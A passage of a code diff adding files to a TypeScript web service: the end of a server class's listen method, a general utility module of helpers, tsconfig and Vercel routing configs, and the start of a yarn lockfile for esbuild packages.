+ response.injectTo(ctx);
141
+ resolve({ request, response });
142
+ }
143
+ });
144
+ }
145
+
146
+ /**
147
+ * 监听端口
148
+ */
149
+ async listen() {
150
+ const host = config.service.host;
151
+ const port = config.service.port;
152
+ await Promise.all([
153
+ new Promise((resolve, reject) => {
154
+ if(host === "0.0.0.0" || host === "localhost" || host === "127.0.0.1")
155
+ return resolve(null);
156
+ this.app.listen(port, "localhost", err => {
157
+ if(err) return reject(err);
158
+ resolve(null);
159
+ });
160
+ }),
161
+ new Promise((resolve, reject) => {
162
+ this.app.listen(port, host, err => {
163
+ if(err) return reject(err);
164
+ resolve(null);
165
+ });
166
+ })
167
+ ]);
168
+ logger.success(`Server listening on port ${port} (${host})`);
169
+ }
170
+
171
+ }
172
+
173
+ export default new Server();
src/lib/util.ts ADDED
@@ -0,0 +1,307 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import os from "os";
2
+ import path from "path";
3
+ import crypto from "crypto";
4
+ import { Readable, Writable } from "stream";
5
+
6
+ import "colors";
7
+ import mime from "mime";
8
+ import axios from "axios";
9
+ import fs from "fs-extra";
10
+ import { v1 as uuid } from "uuid";
11
+ import { format as dateFormat } from "date-fns";
12
+ import CRC32 from "crc-32";
13
+ import randomstring from "randomstring";
14
+ import _ from "lodash";
15
+ import { CronJob } from "cron";
16
+
17
+ import HTTP_STATUS_CODE from "./http-status-codes.ts";
18
+
19
+ const autoIdMap = new Map();
20
+
21
+ const util = {
22
+ is2DArrays(value: any) {
23
+ return (
24
+ _.isArray(value) &&
25
+ (!value[0] || (_.isArray(value[0]) && _.isArray(value[value.length - 1])))
26
+ );
27
+ },
28
+
29
+ uuid: (separator = true) => (separator ? uuid() : uuid().replace(/\-/g, "")),
30
+
31
+ autoId: (prefix = "") => {
32
+ let index = autoIdMap.get(prefix);
33
+ if (index > 999999) index = 0; //超过最大数字则重置为0
34
+ autoIdMap.set(prefix, (index || 0) + 1);
35
+ return `${prefix}${index || 1}`;
36
+ },
37
+
38
+ ignoreJSONParse(value: string) {
39
+ const result = _.attempt(() => JSON.parse(value));
40
+ if (_.isError(result)) return null;
41
+ return result;
42
+ },
43
+
44
+ generateRandomString(options: any): string {
45
+ return randomstring.generate(options);
46
+ },
47
+
48
+ getResponseContentType(value: any): string | null {
49
+ return value.headers
50
+ ? value.headers["content-type"] || value.headers["Content-Type"]
51
+ : null;
52
+ },
53
+
54
+ mimeToExtension(value: string) {
55
+ let extension = mime.getExtension(value);
56
+ if (extension == "mpga") return "mp3";
57
+ return extension;
58
+ },
59
+
60
+ extractURLExtension(value: string) {
61
+ const extname = path.extname(new URL(value).pathname);
62
+ return extname.substring(1).toLowerCase();
63
+ },
64
+
65
+ createCronJob(cronPatterns: any, callback?: Function) {
66
+ if (!_.isFunction(callback))
67
+ throw new Error("callback must be an Function");
68
+ return new CronJob(
69
+ cronPatterns,
70
+ () => callback(),
71
+ null,
72
+ false,
73
+ "Asia/Shanghai"
74
+ );
75
+ },
76
+
77
+ getDateString(format = "yyyy-MM-dd", date = new Date()) {
78
+ return dateFormat(date, format);
79
+ },
80
+
81
+ getIPAddressesByIPv4(): string[] {
82
+ const interfaces = os.networkInterfaces();
83
+ const addresses = [];
84
+ for (let name in interfaces) {
85
+ const networks = interfaces[name];
86
+ const results = networks.filter(
87
+ (network) =>
88
+ network.family === "IPv4" &&
89
+ network.address !== "127.0.0.1" &&
90
+ !network.internal
91
+ );
92
+ if (results[0] && results[0].address) addresses.push(results[0].address);
93
+ }
94
+ return addresses;
95
+ },
96
+
97
+ getMACAddressesByIPv4(): string[] {
98
+ const interfaces = os.networkInterfaces();
99
+ const addresses = [];
100
+ for (let name in interfaces) {
101
+ const networks = interfaces[name];
102
+ const results = networks.filter(
103
+ (network) =>
104
+ network.family === "IPv4" &&
105
+ network.address !== "127.0.0.1" &&
106
+ !network.internal
107
+ );
108
+ if (results[0] && results[0].mac) addresses.push(results[0].mac);
109
+ }
110
+ return addresses;
111
+ },
112
+
113
+ generateSSEData(event?: string, data?: string, retry?: number) {
114
+ return `event: ${event || "message"}\ndata: ${(data || "")
115
+ .replace(/\n/g, "\\n")
116
+ .replace(/\s/g, "\\s")}\nretry: ${retry || 3000}\n\n`;
117
+ },
118
+
119
+ buildDataBASE64(type, ext, buffer) {
120
+ return `data:${type}/${ext.replace("jpg", "jpeg")};base64,${buffer.toString(
121
+ "base64"
122
+ )}`;
123
+ },
124
+
125
+ isLinux() {
126
+ return os.platform() !== "win32";
127
+ },
128
+
129
+ isIPAddress(value) {
130
+ return (
131
+ _.isString(value) &&
132
+ (/^((2[0-4]\d|25[0-5]|[01]?\d\d?)\.){3}(2[0-4]\d|25[0-5]|[01]?\d\d?)$/.test(
133
+ value
134
+ ) ||
135
+ /\s*((([0-9A-Fa-f]{1,4}:){7}([0-9A-Fa-f]{1,4}|:))|(([0-9A-Fa-f]{1,4}:){6}(:[0-9A-Fa-f]{1,4}|((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){5}(((:[0-9A-Fa-f]{1,4}){1,2})|:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){4}(((:[0-9A-Fa-f]{1,4}){1,3})|((:[0-9A-Fa-f]{1,4})?:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){3}(((:[0-9A-Fa-f]{1,4}){1,4})|((:[0-9A-Fa-f]{1,4}){0,2}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){2}(((:[0-9A-Fa-f]{1,4}){1,5})|((:[0-9A-Fa-f]{1,4}){0,3}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){1}(((:[0-9A-Fa-f]{1,4}){1,6})|((:[0-9A-Fa-f]{1,4}){0,4}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(:(((:[0-9A-Fa-f]{1,4}){1,7})|((:[0-9A-Fa-f]{1,4}){0,5}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:)))(%.+)?\s*/.test(
136
+ value
137
+ ))
138
+ );
139
+ },
140
+
141
+ isPort(value) {
142
+ return _.isNumber(value) && value > 0 && value < 65536;
143
+ },
144
+
145
+ isReadStream(value): boolean {
146
+ return (
147
+ value &&
148
+ (value instanceof Readable || "readable" in value || value.readable)
149
+ );
150
+ },
151
+
152
+ isWriteStream(value): boolean {
153
+ return (
154
+ value &&
155
+ (value instanceof Writable || "writable" in value || value.writable)
156
+ );
157
+ },
158
+
159
+ isHttpStatusCode(value) {
160
+ return _.isNumber(value) && Object.values(HTTP_STATUS_CODE).includes(value);
161
+ },
162
+
163
+ isURL(value) {
164
+ return !_.isUndefined(value) && /^(http|https)/.test(value);
165
+ },
166
+
167
+ isSrc(value) {
168
+ return !_.isUndefined(value) && /^\/.+\.[0-9a-zA-Z]+(\?.+)?$/.test(value);
169
+ },
170
+
171
+ isBASE64(value) {
172
+ return !_.isUndefined(value) && /^[a-zA-Z0-9\/\+]+(=?)+$/.test(value);
173
+ },
174
+
175
+ isBASE64Data(value) {
176
+ return /^data:/.test(value);
177
+ },
178
+
179
+ extractBASE64DataFormat(value): string | null {
180
+ const match = value.trim().match(/^data:(.+);base64,/);
181
+ if (!match) return null;
182
+ return match[1];
183
+ },
184
+
185
+ removeBASE64DataHeader(value): string {
186
+ return value.replace(/^data:(.+);base64,/, "");
187
+ },
188
+
189
+ isDataString(value): boolean {
190
+ return /^(base64|json):/.test(value);
191
+ },
192
+
193
+ isStringNumber(value) {
194
+ return _.isFinite(Number(value));
195
+ },
196
+
197
+ isUnixTimestamp(value) {
198
+ return /^[0-9]{10}$/.test(`${value}`);
199
+ },
200
+
201
+ isTimestamp(value) {
202
+ return /^[0-9]{13}$/.test(`${value}`);
203
+ },
204
+
205
+ isEmail(value) {
206
+ return /^([a-zA-Z0-9]+[_|\_|\.]?)*[a-zA-Z0-9]+@([a-zA-Z0-9]+[_|\_|\.]?)*[a-zA-Z0-9]+\.[a-zA-Z]{2,3}$/.test(
207
+ value
208
+ );
209
+ },
210
+
211
+ isAsyncFunction(value) {
212
+ return Object.prototype.toString.call(value) === "[object AsyncFunction]";
213
+ },
214
+
215
+ async isAPNG(filePath) {
216
+ let head;
217
+ const readStream = fs.createReadStream(filePath, { start: 37, end: 40 });
218
+ const readPromise = new Promise((resolve, reject) => {
219
+ readStream.once("end", resolve);
220
+ readStream.once("error", reject);
221
+ });
222
+ readStream.once("data", (data) => (head = data));
223
+ await readPromise;
224
+ return head.compare(Buffer.from([0x61, 0x63, 0x54, 0x4c])) === 0;
225
+ },
226
+
227
+ unixTimestamp() {
228
+ return parseInt(`${Date.now() / 1000}`);
229
+ },
230
+
231
+ timestamp() {
232
+ return Date.now();
233
+ },
234
+
235
+ urlJoin(...values) {
236
+ let url = "";
237
+ for (let i = 0; i < values.length; i++)
238
+ url += `${i > 0 ? "/" : ""}${values[i]
239
+ .replace(/^\/*/, "")
240
+ .replace(/\/*$/, "")}`;
241
+ return url;
242
+ },
243
+
244
+ millisecondsToHmss(milliseconds) {
245
+ if (_.isString(milliseconds)) return milliseconds;
246
+ milliseconds = parseInt(milliseconds);
247
+ const sec = Math.floor(milliseconds / 1000);
248
+ const hours = Math.floor(sec / 3600);
249
+ const minutes = Math.floor((sec - hours * 3600) / 60);
250
+ const seconds = sec - hours * 3600 - minutes * 60;
251
+ const ms = (milliseconds % 60000) - seconds * 1000;
252
+ return `${hours > 9 ? hours : "0" + hours}:${
253
+ minutes > 9 ? minutes : "0" + minutes
254
+ }:${seconds > 9 ? seconds : "0" + seconds}.${ms}`;
255
+ },
256
+
257
+ millisecondsToTimeString(milliseconds) {
258
+ if (milliseconds < 1000) return `${milliseconds}ms`;
259
+ if (milliseconds < 60000)
260
+ return `${parseFloat((milliseconds / 1000).toFixed(2))}s`;
261
+ return `${Math.floor(milliseconds / 1000 / 60)}m${Math.floor(
262
+ (milliseconds / 1000) % 60
263
+ )}s`;
264
+ },
265
+
266
+ rgbToHex(r, g, b): string {
267
+ return ((1 << 24) + (r << 16) + (g << 8) + b).toString(16).slice(1);
268
+ },
269
+
270
+ hexToRgb(hex) {
271
+ const value = parseInt(hex.replace(/^#/, ""), 16);
272
+ return [(value >> 16) & 255, (value >> 8) & 255, value & 255];
273
+ },
274
+
275
+ md5(value) {
276
+ return crypto.createHash("md5").update(value).digest("hex");
277
+ },
278
+
279
+ crc32(value) {
280
+ return _.isBuffer(value) ? CRC32.buf(value) : CRC32.str(value);
281
+ },
282
+
283
+ arrayParse(value): any[] {
284
+ return _.isArray(value) ? value : [value];
285
+ },
286
+
287
+ booleanParse(value) {
288
+ return value === "true" || value === true ? true : false;
289
+ },
290
+
291
+ encodeBASE64(value) {
292
+ return Buffer.from(value).toString("base64");
293
+ },
294
+
295
+ decodeBASE64(value) {
296
+ return Buffer.from(value, "base64").toString();
297
+ },
298
+
299
+ async fetchFileBASE64(url: string) {
300
+ const result = await axios.get(url, {
301
+ responseType: "arraybuffer",
302
+ });
303
+ return result.data.toString("base64");
304
+ },
305
+ };
306
+
307
+ export default util;
tsconfig.json ADDED
@@ -0,0 +1,16 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ {
2
+ "compilerOptions": {
3
+ "baseUrl": ".",
4
+ "module": "NodeNext",
5
+ "moduleResolution": "NodeNext",
6
+ "allowImportingTsExtensions": true,
7
+ "allowSyntheticDefaultImports": true,
8
+ "noEmit": true,
9
+ "paths": {
10
+ "@/*": ["src/*"]
11
+ },
12
+ "outDir": "./dist"
13
+ },
14
+ "include": ["src/**/*", "libs.d.ts"],
15
+ "exclude": ["node_modules", "dist"]
16
+ }
vercel.json ADDED
@@ -0,0 +1,27 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ {
2
+ "builds": [
3
+ {
4
+ "src": "./dist/*.html",
5
+ "use": "@vercel/static"
6
+ },
7
+ {
8
+ "src": "./dist/index.js",
9
+ "use": "@vercel/node"
10
+ }
11
+ ],
12
+ "routes": [
13
+ {
14
+ "src": "/",
15
+ "dest": "/dist/welcome.html"
16
+ },
17
+ {
18
+ "src": "/(.*)",
19
+ "dest": "/dist",
20
+ "headers": {
21
+ "Access-Control-Allow-Credentials": "true",
22
+ "Access-Control-Allow-Methods": "GET,OPTIONS,PATCH,DELETE,POST,PUT",
23
+ "Access-Control-Allow-Headers": "X-CSRF-Token, X-Requested-With, Accept, Accept-Version, Content-Length, Content-MD5, Content-Type, Date, X-Api-Version, Content-Type, Authorization"
24
+ }
25
+ }
26
+ ]
27
+ }
yarn.lock ADDED
@@ -0,0 +1,1742 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY.
2
+ # yarn lockfile v1
3
+
4
+
5
+ "@esbuild/aix-ppc64@0.23.0":
6
+ version "0.23.0"
7
+ resolved "https://registry.yarnpkg.com/@esbuild/aix-ppc64/-/aix-ppc64-0.23.0.tgz#145b74d5e4a5223489cabdc238d8dad902df5259"
8
+ integrity sha512-3sG8Zwa5fMcA9bgqB8AfWPQ+HFke6uD3h1s3RIwUNK8EG7a4buxvuFTs3j1IMs2NXAk9F30C/FF4vxRgQCcmoQ==
9
+
10
+ "@esbuild/android-arm64@0.23.0":
11
+ version "0.23.0"
12
+ resolved "https://registry.yarnpkg.com/@esbuild/android-arm64/-/android-arm64-0.23.0.tgz#453bbe079fc8d364d4c5545069e8260228559832"
13
+ integrity sha512-EuHFUYkAVfU4qBdyivULuu03FhJO4IJN9PGuABGrFy4vUuzk91P2d+npxHcFdpUnfYKy0PuV+n6bKIpHOB3prQ==
14
+
15
+ "@esbuild/android-arm@0.23.0":
16
+ version "0.23.0"
17
+ resolved "https://registry.yarnpkg.com/@esbuild/android-arm/-/android-arm-0.23.0.tgz#26c806853aa4a4f7e683e519cd9d68e201ebcf99"
18
+ integrity sha512-+KuOHTKKyIKgEEqKbGTK8W7mPp+hKinbMBeEnNzjJGyFcWsfrXjSTNluJHCY1RqhxFurdD8uNXQDei7qDlR6+g==
19
+
20
+ "@esbuild/android-x64@0.23.0":
21
+ version "0.23.0"
22
+ resolved "https://registry.yarnpkg.com/@esbuild/android-x64/-/android-x64-0.23.0.tgz#1e51af9a6ac1f7143769f7ee58df5b274ed202e6"
23
+ integrity sha512-WRrmKidLoKDl56LsbBMhzTTBxrsVwTKdNbKDalbEZr0tcsBgCLbEtoNthOW6PX942YiYq8HzEnb4yWQMLQuipQ==
24
+
25
+ "@esbuild/darwin-arm64@0.23.0":
26
+ version "0.23.0"
27
+ resolved "https://registry.yarnpkg.com/@esbuild/darwin-arm64/-/darwin-arm64-0.23.0.tgz#d996187a606c9534173ebd78c58098a44dd7ef9e"
28
+ integrity sha512-YLntie/IdS31H54Ogdn+v50NuoWF5BDkEUFpiOChVa9UnKpftgwzZRrI4J132ETIi+D8n6xh9IviFV3eXdxfow==
29
+
30
+ "@esbuild/darwin-x64@0.23.0":
31
+ version "0.23.0"
32
+ resolved "https://registry.yarnpkg.com/@esbuild/darwin-x64/-/darwin-x64-0.23.0.tgz#30c8f28a7ef4e32fe46501434ebe6b0912e9e86c"
33
+ integrity sha512-IMQ6eme4AfznElesHUPDZ+teuGwoRmVuuixu7sv92ZkdQcPbsNHzutd+rAfaBKo8YK3IrBEi9SLLKWJdEvJniQ==
34
+
35
+ "@esbuild/freebsd-arm64@0.23.0":
36
+ version "0.23.0"
37
+ resolved "https://registry.yarnpkg.com/@esbuild/freebsd-arm64/-/freebsd-arm64-0.23.0.tgz#30f4fcec8167c08a6e8af9fc14b66152232e7fb4"
38
+ integrity sha512-0muYWCng5vqaxobq6LB3YNtevDFSAZGlgtLoAc81PjUfiFz36n4KMpwhtAd4he8ToSI3TGyuhyx5xmiWNYZFyw==
39
+
40
+ "@esbuild/freebsd-x64@0.23.0":
41
+ version "0.23.0"
42
+ resolved "https://registry.yarnpkg.com/@esbuild/freebsd-x64/-/freebsd-x64-0.23.0.tgz#1003a6668fe1f5d4439e6813e5b09a92981bc79d"
43
+ integrity sha512-XKDVu8IsD0/q3foBzsXGt/KjD/yTKBCIwOHE1XwiXmrRwrX6Hbnd5Eqn/WvDekddK21tfszBSrE/WMaZh+1buQ==
44
+
45
+ "@esbuild/linux-arm64@0.23.0":
46
+ version "0.23.0"
47
+ resolved "https://registry.yarnpkg.com/@esbuild/linux-arm64/-/linux-arm64-0.23.0.tgz#3b9a56abfb1410bb6c9138790f062587df3e6e3a"
48
+ integrity sha512-j1t5iG8jE7BhonbsEg5d9qOYcVZv/Rv6tghaXM/Ug9xahM0nX/H2gfu6X6z11QRTMT6+aywOMA8TDkhPo8aCGw==
49
+
50
+ "@esbuild/linux-arm@0.23.0":
51
+ version "0.23.0"
52
+ resolved "https://registry.yarnpkg.com/@esbuild/linux-arm/-/linux-arm-0.23.0.tgz#237a8548e3da2c48cd79ae339a588f03d1889aad"
53
+ integrity sha512-SEELSTEtOFu5LPykzA395Mc+54RMg1EUgXP+iw2SJ72+ooMwVsgfuwXo5Fn0wXNgWZsTVHwY2cg4Vi/bOD88qw==
54
+
55
+ "@esbuild/linux-ia32@0.23.0":
56
+ version "0.23.0"
57
+ resolved "https://registry.yarnpkg.com/@esbuild/linux-ia32/-/linux-ia32-0.23.0.tgz#4269cd19cb2de5de03a7ccfc8855dde3d284a238"
58
+ integrity sha512-P7O5Tkh2NbgIm2R6x1zGJJsnacDzTFcRWZyTTMgFdVit6E98LTxO+v8LCCLWRvPrjdzXHx9FEOA8oAZPyApWUA==
59
+
60
+ "@esbuild/linux-loong64@0.23.0":
61
+ version "0.23.0"
62
+ resolved "https://registry.yarnpkg.com/@esbuild/linux-loong64/-/linux-loong64-0.23.0.tgz#82b568f5658a52580827cc891cb69d2cb4f86280"
63
+ integrity sha512-InQwepswq6urikQiIC/kkx412fqUZudBO4SYKu0N+tGhXRWUqAx+Q+341tFV6QdBifpjYgUndV1hhMq3WeJi7A==
64
+
65
+ "@esbuild/linux-mips64el@0.23.0":
66
+ version "0.23.0"
67
+ resolved "https://registry.yarnpkg.com/@esbuild/linux-mips64el/-/linux-mips64el-0.23.0.tgz#9a57386c926262ae9861c929a6023ed9d43f73e5"
68
+ integrity sha512-J9rflLtqdYrxHv2FqXE2i1ELgNjT+JFURt/uDMoPQLcjWQA5wDKgQA4t/dTqGa88ZVECKaD0TctwsUfHbVoi4w==
69
+
70
+ "@esbuild/linux-ppc64@0.23.0":
71
+ version "0.23.0"
72
+ resolved "https://registry.yarnpkg.com/@esbuild/linux-ppc64/-/linux-ppc64-0.23.0.tgz#f3a79fd636ba0c82285d227eb20ed8e31b4444f6"
73
+ integrity sha512-cShCXtEOVc5GxU0fM+dsFD10qZ5UpcQ8AM22bYj0u/yaAykWnqXJDpd77ublcX6vdDsWLuweeuSNZk4yUxZwtw==
74
+
75
+ "@esbuild/linux-riscv64@0.23.0":
76
+ version "0.23.0"
77
+ resolved "https://registry.yarnpkg.com/@esbuild/linux-riscv64/-/linux-riscv64-0.23.0.tgz#f9d2ef8356ce6ce140f76029680558126b74c780"
78
+ integrity sha512-HEtaN7Y5UB4tZPeQmgz/UhzoEyYftbMXrBCUjINGjh3uil+rB/QzzpMshz3cNUxqXN7Vr93zzVtpIDL99t9aRw==
79
+
80
+ "@esbuild/linux-s390x@0.23.0":
81
+ version "0.23.0"
82
+ resolved "https://registry.yarnpkg.com/@esbuild/linux-s390x/-/linux-s390x-0.23.0.tgz#45390f12e802201f38a0229e216a6aed4351dfe8"
83
+ integrity sha512-WDi3+NVAuyjg/Wxi+o5KPqRbZY0QhI9TjrEEm+8dmpY9Xir8+HE/HNx2JoLckhKbFopW0RdO2D72w8trZOV+Wg==
84
+
85
+ "@esbuild/linux-x64@0.23.0":
86
+ version "0.23.0"
87
+ resolved "https://registry.yarnpkg.com/@esbuild/linux-x64/-/linux-x64-0.23.0.tgz#c8409761996e3f6db29abcf9b05bee8d7d80e910"
88
+ integrity sha512-a3pMQhUEJkITgAw6e0bWA+F+vFtCciMjW/LPtoj99MhVt+Mfb6bbL9hu2wmTZgNd994qTAEw+U/r6k3qHWWaOQ==
89
+
90
+ "@esbuild/netbsd-x64@0.23.0":
91
+ version "0.23.0"
92
+ resolved "https://registry.yarnpkg.com/@esbuild/netbsd-x64/-/netbsd-x64-0.23.0.tgz#ba70db0114380d5f6cfb9003f1d378ce989cd65c"
93
+ integrity sha512-cRK+YDem7lFTs2Q5nEv/HHc4LnrfBCbH5+JHu6wm2eP+d8OZNoSMYgPZJq78vqQ9g+9+nMuIsAO7skzphRXHyw==
94
+
95
+ "@esbuild/openbsd-arm64@0.23.0":
96
+ version "0.23.0"
97
+ resolved "https://registry.yarnpkg.com/@esbuild/openbsd-arm64/-/openbsd-arm64-0.23.0.tgz#72fc55f0b189f7a882e3cf23f332370d69dfd5db"
98
